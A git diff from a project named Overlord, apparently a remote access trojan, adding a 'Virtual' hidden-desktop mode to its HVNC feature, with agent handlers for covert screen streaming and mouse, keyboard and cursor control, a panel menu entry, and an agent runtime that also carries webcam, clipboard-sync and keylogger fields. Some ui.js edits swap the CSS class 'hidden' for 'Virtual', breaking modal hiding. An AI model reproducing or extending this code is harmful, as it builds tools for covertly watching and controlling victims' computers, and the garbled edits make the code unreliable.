%d", fps) + } + if err := capture.NowVirtual(ctx, env); err != nil { + if ctx.Err() != nil { + log.Printf("virtual: stopping stream") + return nil + } + log.Printf("virtual: capture error: %v", err) + } + } + } +} + +func activeVirtualTargetFPS() int { + if fps := int(virtualTargetFPS.Load()); fps > 0 { + return fps + } + _, fps := streamInterval("OVERLORD_virtual_MAX_FPS", 120) + return SetVirtualTargetFPS(fps) +} + +func SetVirtualTargetFPS(fps int) int { + fps = clampDesktopTargetFPS(fps) + virtualTargetFPS.Store(int64(fps)) + capture.SetH264TargetFPS(fps) + capture.SetFrameFlowTargetFPS(fps) + return fps +} + +func VirtualSelect(ctx context.Context, env *rt.Env, display int) error { + log.Printf("virtual: set selected display to %d (virtual monitor always index 0)", display) + return nil +} + +func VirtualMouseControl(ctx context.Context, env *rt.Env, enabled bool) error { + env.VirtualMouseControl = enabled + log.Printf("virtual: mouse control %v", enabled) + return nil +} + +func VirtualKeyboardControl(ctx context.Context, env *rt.Env, enabled bool) error { + env.VirtualKeyboardControl = enabled + log.Printf("virtual: keyboard control %v", enabled) + return nil +} + +func VirtualCursorControl(ctx context.Context, env *rt.Env, enabled bool) error { + env.VirtualCursorCapture = enabled + capture.SetVirtualCursorCapture(enabled) + log.Printf("virtual: cursor capture %v", enabled) + return nil +} diff --git a/Overlord-Client/cmd/agent/handlers/virtual_input_stub.go b/Overlord-Client/cmd/agent/handlers/virtual_input_stub.go new file mode 100644 index 0000000..3bc56f4 --- /dev/null +++ b/Overlord-Client/cmd/agent/handlers/virtual_input_stub.go @@ -0,0 +1,7 @@ +//go:build !windows + +package handlers + +func keyCodeToVKVirtual(code string) uint16 { + return 0 +} diff --git a/Overlord-Client/cmd/agent/handlers/virtual_input_windows.go b/Overlord-Client/cmd/agent/handlers/virtual_input_windows.go new file mode 100644 index 0000000..a571512 --- /dev/null +++ b/Overlord-Client/cmd/agent/handlers/virtual_input_windows.go @@ -0,0 +1,7 @@ +//go:build windows + +package handlers + +func keyCodeToVKVirtual(code string) uint16 { + return keyCodeToVK(code) +} diff --git a/Overlord-Client/cmd/agent/runtime/env.go b/Overlord-Client/cmd/agent/runtime/env.go index 2cba83f..9bbf332 100644 --- a/Overlord-Client/cmd/agent/runtime/env.go +++ b/Overlord-Client/cmd/agent/runtime/env.go @@ -35,18 +35,27 @@ type Env struct { HVNCCancel context.CancelFunc HVNCDone chan struct{} HVNCMu sync.Mutex - WebcamDeviceIndex int - WebcamFPS int - WebcamUseMaxFPS bool - WebcamQuality int - WebcamCodec string - WebcamCancel context.CancelFunc - WebcamDone chan struct{} - WebcamMu sync.Mutex + // Virtual mode fields + VirtualMouseControl bool + VirtualKeyboardControl bool + VirtualCursorCapture bool + VirtualCancel context.CancelFunc + VirtualDone chan struct{} + VirtualMu sync.Mutex + // Webcam shit + WebcamDeviceIndex int + WebcamFPS int + WebcamUseMaxFPS bool + WebcamQuality int + WebcamCodec string + WebcamCancel context.CancelFunc + WebcamDone chan struct{} + WebcamMu sync.Mutex + // Cliboard sync stuff ClipboardSyncCancel context.CancelFunc ClipboardSyncDone chan struct{} ClipboardSyncMu sync.Mutex - ClipboardSyncSource string // "rd" or "hvnc" + ClipboardSyncSource string // Other fields Plugins *plugins.Manager Keylogger *keylogger.Keylogger diff --git a/Overlord-Server/public/assets/hvnc.js b/Overlord-Server/public/assets/hvnc.js index cf24fd7..01c993e 100644 --- a/Overlord-Server/public/assets/hvnc.js +++ b/Overlord-Server/public/assets/hvnc.js @@ -6,11 +6,15 @@ import { P2PClient } from "./webrtc-p2p.js"; import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-settings.js"; (async function () { - const clientId = new URLSearchParams(location.search).get("clientId"); + const urlParams = new URLSearchParams(location.search); + const clientId = urlParams.get("clientId"); if (!clientId) { alert("Missing clientId"); return; } + // The launcher uses mode=virtual. Keep mode=hidden as a compatibility alias + // for older bookmarked URLs. + const virtualMode = ["virtual", "hidden"].includes(urlParams.get("mode")); const allowed = await checkFeatureAccess("hvnc", clientId); if (!allowed) return; @@ -18,6 +22,20 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s const clientLabel = document.getElementById("clientLabel"); clientLabel.textContent = clientId; + if (virtualMode) { + document.title = "Overlord Virtual"; + const headerSpan = document.querySelector(".p-3.text-sm.text-slate-400 span"); + if (headerSpan) { + headerSpan.textContent = "Virtual Mode (Virtual Monitor) - Client: "; + headerSpan.appendChild(clientLabel); + } + const ghostIcon = document.querySelector(".p-3.text-sm.text-slate-400 .fa-ghost"); + if (ghostIcon) { + ghostIcon.classList.remove("fa-ghost", "text-violet-400"); + ghostIcon.classList.add("fa-eye-slash", "text-fuchsia-400"); + } + } + let ws = null; let reconnectTimer = null; let reconnectDelay = 1000; @@ -78,9 +96,9 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s const viewerFps = document.getElementById("viewerFps"); const statusEl = document.getElementById("streamStatus"); const clipboardSyncCtrl = document.getElementById("clipboardSyncCtrl"); - const dxgiCtrl = document.getElementById("dxgiCtrl"); const uiaCtrl = document.getElementById("uiaCtrl"); const hvncResolutionSelect = document.getElementById("hvncResolutionSelect"); + const targetFpsSelect = document.getElementById("targetFpsSelect"); let whepClient = null; let p2pClient = null; let webrtcActive = false; @@ -92,7 +110,6 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s function syncInputEnableState() { if (mouseCtrl) sendCmd("hvnc_enable_mouse", { enabled: mouseCtrl.checked }); if (kbdCtrl) sendCmd("hvnc_enable_keyboard", { enabled: kbdCtrl.checked }); - if (dxgiCtrl) sendCmd("hvnc_enable_dxgi", { enabled: dxgiCtrl.checked }); if (uiaCtrl) sendCmd("hvnc_enable_uia", { enabled: uiaCtrl.checked }); pushHvncResolution(); } @@ -142,12 +159,12 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s if (!settings || typeof settings !== "object") return; savedDisplay = Number.isFinite(Number(settings.display)) ? Number(settings.display) : savedDisplay; setSelectValue(hvncResolutionSelect, settings.resolution); + setSelectValue(targetFpsSelect, settings.targetFps); setSelectValue(webrtcMode, settings.webrtcMode); if (qualitySlider && settings.quality !== undefined) qualitySlider.value = String(settings.quality); if (mouseCtrl && typeof settings.mouse === "boolean") mouseCtrl.checked = settings.mouse; if (kbdCtrl && typeof settings.keyboard === "boolean") kbdCtrl.checked = settings.keyboard; if (clipboardSyncCtrl && typeof settings.clipboardSync === "boolean") clipboardSyncCtrl.checked = settings.clipboardSync; - if (dxgiCtrl && typeof settings.dxgi === "boolean") dxgiCtrl.checked = settings.dxgi; if (uiaCtrl && typeof settings.uia === "boolean") uiaCtrl.checked = settings.uia; if (typeof settings.preferH264 === "boolean") { prefersH264 = settings.preferH264 && typeof VideoDecoder === "function"; @@ -167,13 +184,13 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s return { display: Number(displaySelect?.value || 0), resolution: hvncResolutionSelect?.value || "1080", + targetFps: Number(targetFpsSelect?.value || 120), quality: Number(qualitySlider?.value || 90), preferH264: !!prefersH264, webrtcMode: getWebrtcMode(), mouse: !!mouseCtrl?.checked, keyboard: !!kbdCtrl?.checked, clipboardSync: !!clipboardSyncCtrl?.checked, - dxgi: !!dxgiCtrl?.checked, uia: !!uiaCtrl?.checked, cloneProfile: document.getElementById("hvncCloneToggle")?.checked !== false, cloneLite: document.getElementById("hvncCloneLiteToggle")?.checked === true, @@ -369,9 +386,11 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s display: parseInt(displaySelect.value, 10) || 0, }); } + pushTargetFps(); sendCmd("hvnc_start", { autoStartExplorer: false, webrtc: mode === "relayed", + ...(virtualMode ? { virtual_mode: true, hidden_mode: true } : {}), }); if (mode === "p2p") startP2P(); syncInputEnableState(); @@ -903,6 +922,22 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s sendCmd("hvnc_set_quality", { quality: q, codec }); } + function selectedTargetFps() { + const fps = Number(targetFpsSelect?.value || 120); + return Number.isFinite(fps) ? Math.max(1, Math.min(240, Math.floor(fps))) : 120; + } + + function pushTargetFps() { + sendCmd("hvnc_set_fps", { fps: selectedTargetFps() }); + } + + if (targetFpsSelect) { + targetFpsSelect.addEventListener("change", function () { + pushTargetFps(); + sharedSettingsSaver.scheduleSave(); + }); + } + function pushTransportQuality(mode) { if (mode === "relayed" || mode === "p2p") { const q = Number(qualitySlider?.value) || 90; @@ -1046,12 +1081,14 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s }); } pushTransportQuality(mode); + pushTargetFps(); desiredStreaming = true; lastFrameAt = 0; setStreamState("starting", "Starting stream"); sendCmd("hvnc_start", { autoStartExplorer: false, webrtc: mode === "relayed", + ...(virtualMode ? { virtual_mode: true, hidden_mode: true } : {}), }); if (mode === "p2p") startP2P(); syncInputEnableState(); @@ -1084,12 +1121,6 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s sendCmd("hvnc_enable_keyboard", { enabled: kbdCtrl.checked }); sharedSettingsSaver.scheduleSave(); }); - if (dxgiCtrl) { - dxgiCtrl.addEventListener("change", function () { - sendCmd("hvnc_enable_dxgi", { enabled: dxgiCtrl.checked }); - sharedSettingsSaver.scheduleSave(); - }); - } if (uiaCtrl) { uiaCtrl.addEventListener("change", function () { sendCmd("hvnc_enable_uia", { enabled: uiaCtrl.checked }); @@ -1404,7 +1435,8 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s if (displaySelect && displaySelect.value !== undefined) { sendCmd("hvnc_select_display", { display: parseInt(displaySelect.value, 10) || 0 }); } - sendCmd("hvnc_start", { autoStartExplorer: false, webrtc: mode === "relayed" }); + pushTargetFps(); + sendCmd("hvnc_start", { autoStartExplorer: false, webrtc: mode === "relayed", ...(virtualMode ? { virtual_mode: true, hidden_mode: true } : {}) }); if (mode === "p2p") startP2P(); syncInputEnableState(); } else { diff --git a/Overlord-Server/public/assets/main.js b/Overlord-Server/public/assets/main.js index bc3484d..e8f8cc5 100644 --- a/Overlord-Server/public/assets/main.js +++ b/Overlord-Server/public/assets/main.js @@ -441,6 +441,9 @@ function applyMenuSupportRules(clientId) { const hvncBtn = menu.querySelector('[data-open="Backstage"]'); setAvailability(hvncBtn, isOnline && isWindows, isOnline ? "Backstage is only supported on Windows clients." : "Client is offline"); + const hiddenBtn = menu.querySelector('[data-open="Virtual"]'); + setAvailability(hiddenBtn, isOnline && isWindows, isOnline ? "Virtual mode is only supported on Windows clients." : "Client is offline"); + const webcamBtn = menu.querySelector('[data-open="webcam"]'); setAvailability(webcamBtn, isOnline && isWindows, isOnline ? "Webcam viewer is only supported on Windows clients." : "Client is offline"); @@ -497,6 +500,7 @@ const MENU_OPEN_TO_FEATURE = { console: "console", remotedesktop: "remote_desktop", Backstage: "hvnc", + Hidden: "hvnc", webcam: "webcam", files: "file_browser", processes: "processes", @@ -2055,6 +2059,13 @@ menu.addEventListener("click", async (e) => { closeMenu(clearContext); return; } + if (open === "Virtual") { + // mode=hidden is understood by older hvnc.js builds; current builds treat + // it as the virtual-monitor mode compatibility alias. + window.open(`/hvnc?clientId=${contextCard}&mode=hidden`, "_blank", "noopener"); + closeMenu(clearContext); + return; + } if (open === "files") { const platform = detectClientPlatform(contextCard); if (platform !== "windows") { diff --git a/Overlord-Server/public/assets/ui.js b/Overlord-Server/public/assets/ui.js index 6ff3c10..f572618 100644 --- a/Overlord-Server/public/assets/ui.js +++ b/Overlord-Server/public/assets/ui.js @@ -9,6 +9,7 @@ const MENU_GROUPS = [ { label: "Console", icon: "fa-solid fa-terminal", icolor: "text-emerald-400", open: "console" }, { label: "Remote Desktop", icon: "fa-solid fa-desktop", icolor: "text-purple-400", open: "remotedesktop" }, { label: "Backstage", icon: "fa-solid fa-ghost", icolor: "text-violet-400", open: "Backstage" }, + { label: "Virtual", icon: "fa-solid fa-eye-slash", icolor: "text-fuchsia-400", open: "Virtual", windowsOnly: true }, { label: "Voice", icon: "fa-solid fa-headset", icolor: "text-teal-400", open: "voice" }, ], }, @@ -228,7 +229,7 @@ menuStyle.textContent = ` transition: opacity 0.1s; flex-shrink: 0; } -/* Allow classList.add/remove("hidden") to work on items inside the menu */ +/* Allow classList.add/remove("Virtual") to work on items inside the menu */ #command-menu .hidden { display: none !important; } /* Mobile: stack submenu below the main column, scroll the whole menu */ @media (max-width: 600px) { @@ -463,14 +464,14 @@ export function openModal(src) { setTimeout(() => { modalImg.src = src; - modal.classList.remove("hidden"); + modal.classList.remove("Virtual"); modal.classList.add("flex"); }, 10); } export function closeModal() { modal.classList.remove("flex"); - modal.classList.add("hidden"); + modal.classList.add("Virtual"); } export function wireModalClose() { diff --git a/Overlord-Server/public/hvnc.html b/Overlord-Server/public/hvnc.html index 75b79c4..2e11200 100644 --- a/Overlord-Server/public/hvnc.html +++ b/Overlord-Server/public/hvnc.html @@ -33,12 +33,6 @@ - - @@ -156,6 +150,18 @@ +
+ + +